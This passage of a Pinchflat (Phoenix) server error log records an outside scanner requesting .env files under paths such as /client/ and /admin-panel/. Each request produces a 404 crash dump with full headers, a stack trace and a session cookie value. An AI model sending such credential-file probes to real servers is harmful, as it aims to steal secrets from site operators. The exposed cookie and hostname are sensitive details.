"x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 121, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:17.470 [info] GET /client/.env 02:10:17.471 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=203.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.471 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=136.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.472 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.472 [error] #PID<0.3426.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 122) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /client/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 122, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3426.0>, params: %{}, path_info: ["client", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/client/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6qFXiUciphsAAR5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 122, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 122, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:17.531 [info] GET /project/.env 02:10:17.531 [debug] QUERY OK source="settings" db=0.2ms idle=195.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.532 [debug] QUERY OK source="settings" db=0.1ms idle=140.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.532 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.532 [error] #PID<0.3427.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 123) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /project/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /project/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 123, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3427.0>, params: %{}, path_info: ["project", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/project/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6qT6bWKkNGoAAR6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 123, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /project/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/project/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 123, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:17.586 [info] GET /admin-panel/.env 02:10:17.586 [debug] QUERY OK source="settings" db=0.3ms idle=194.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.587 [debug] QUERY OK source="settings" db=0.2ms idle=115.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.587 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.587 [error] #PID<0.3428.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 124) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /admin-panel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 124, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3428.0>, params: %{}, path_info: ["admin-panel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/admin-panel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6qhGOHVi6SsAAR7B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 124, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 124, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:17.657 [info] GET /control-panel/.env 02:10:17.659 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=186.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.659 [debug] QUERY OK source="settings" db=0.3ms idle=127.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.659 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.660 [error] #PID<0.3429.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 125) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /control-panel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /control-panel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/control-panel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 125, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3429.0>, params: %{}, path_info: 